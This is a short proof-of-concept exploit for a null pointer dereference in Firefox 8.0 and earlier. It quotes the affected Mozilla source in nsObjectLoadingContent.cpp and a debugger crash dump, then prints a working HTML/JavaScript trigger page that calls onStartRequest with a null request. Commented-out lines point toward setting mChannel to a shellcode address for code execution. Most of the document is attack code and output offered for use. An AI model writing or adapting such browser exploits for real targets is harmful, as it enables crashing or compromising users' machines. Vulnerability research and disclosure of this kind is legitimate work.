# Firefox <= 8.0 null pointer dereference PoC exploit
# Author: 0in (Maksymilian Motyl)
# Tested on Firefox 8.0/4.0 on windows and Firefox 7.1 on Linux
# Lets see in code:
# $ cat ./mozilla-release/content/base/src/nsObjectLoadingContent.cpp
NS_IMETHODIMP nsObjectLoadingContent::OnStartRequest(nsIRequest *aRequest,
nsISupports *aContext)
{
if (aRequest != mChannel) { // our pointer is checked there, mChannel is null. I think maybe some magick in js can help there
return NS_BINDING_ABORTED;
}
AutoNotifier notifier(this, PR_TRUE);
if (!IsSuccessfulRequest(aRequest)) { // go
//----------------------------------------------------------------------------------
PRBool nsObjectLoadingContent::IsSuccessfulRequest(nsIRequest* aRequest)
{
nsresult status;
nsresult rv = aRequest->GetStatus(&status); // Code execution is here.
// ---------------------------------------------------------------------------------
DUMP:
014E7A28 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
014E7A2B 8B07 MOV EAX,DWORD PTR DS:[EDI] ; access violation when reading 0x00000000
014E7A2D 8D4D FC LEA ECX,DWORD PTR SS:[EBP-4]
014E7A30 51 PUSH ECX
014E7A31 57 PUSH EDI
014E7A32 FF50 14 CALL DWORD PTR DS:[EAX+14]
EAX 0012BFC0
ECX 00080000
EDX 00080000
EBX 03A199E8
ESP 0012BF44
EBP 0012BF54
ESI 03A199C0
EDI 00000000
EIP 014E7A2B xul.014E7A2B
$ cat 2011_powrot_komuny.html
<html>
<body>
<object id="dupa">
<script>
RIINDC=document.getElementById("dupa");
RIINDC.QueryInterface(Components.interfaces.nsIRequestObserver);
//RIINDC.mchannel=SHELLCODE_ADDR
RIINDC.onStartRequest(null,RIINDC.QueryInterface(Components.interfaces.nsISupports));
//RIINDC.onStartRequest(RIINDC.mchannel,DWCJWL.QueryInterface(Components.interfaces.nsISupports));
</script>
</body>
</html>
